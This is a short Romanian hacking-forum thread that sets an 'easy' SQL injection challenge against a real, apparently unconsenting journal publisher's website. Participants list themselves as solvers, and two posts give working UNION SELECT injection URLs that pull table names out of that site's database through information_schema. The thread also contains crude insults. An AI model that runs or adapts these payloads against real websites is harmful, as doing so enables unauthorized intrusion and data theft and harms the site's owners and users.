[easy] sql injection

[KRONZALAU]

site : http://www.aessweb.com/journal-detail.php?id=-5002

Imagine : http://s27.postimg.org/6u1c8bk43/chall.png

Cerinte : columns in ordine , numele tau @rstforums.com ,

Solvers :

1 Melkachit (PM)

2 askwrite (PM)

3 Amad (PM)

4 kasen (PM)

5 .darky (PM)

6 AsalT (PM)

7 danyweb09

8

9

10

Edited February 8, 2014 by KRONZALAU

[Melkachit]

PM

[Amad]

EDIT: KRONZALAU ai lasat la indicii

Edited February 7, 2014 by Amad

[.darky]

[djns]

[AsalT]

[KRONZALAU]

Asalt astept pm.

[Melkachit]

Asalt , tu mi-ai trimis mie pm .

[dancezar]

Asalt , tu mi-ai trimis mie pm .

ahahahahha=))))))

[AsalT]

Eram grabit.

[dancezar]

http://www.aessweb.com/journal-detail.php?id=-5002' and(@a:=0) UNION SELECT 1,2,3,4,5,6,7,'Reckon',9,10,11,12,13,14,15,group_concat(@a:=@a%2b1,'.', table_name separator '
'),17,18 from information_schema.tables where table_schema=database()-- -

Prea mare lenea sa-i dau PM la kronzy, muie rsproject.

http://www.aessweb.com/journal-detail.php?id=5002' and 0 UNION SELECT @c:=0,(select @pula:=group_concat(@c:=@c+1,0x3a,table_name separator '<br>') from information_schema.tables where table_schema=database()),222,4,5,6,@pula,8,9,10,11,12,13,14,15,'danyweb09',17,18+--+

am uitat si eu sa trimit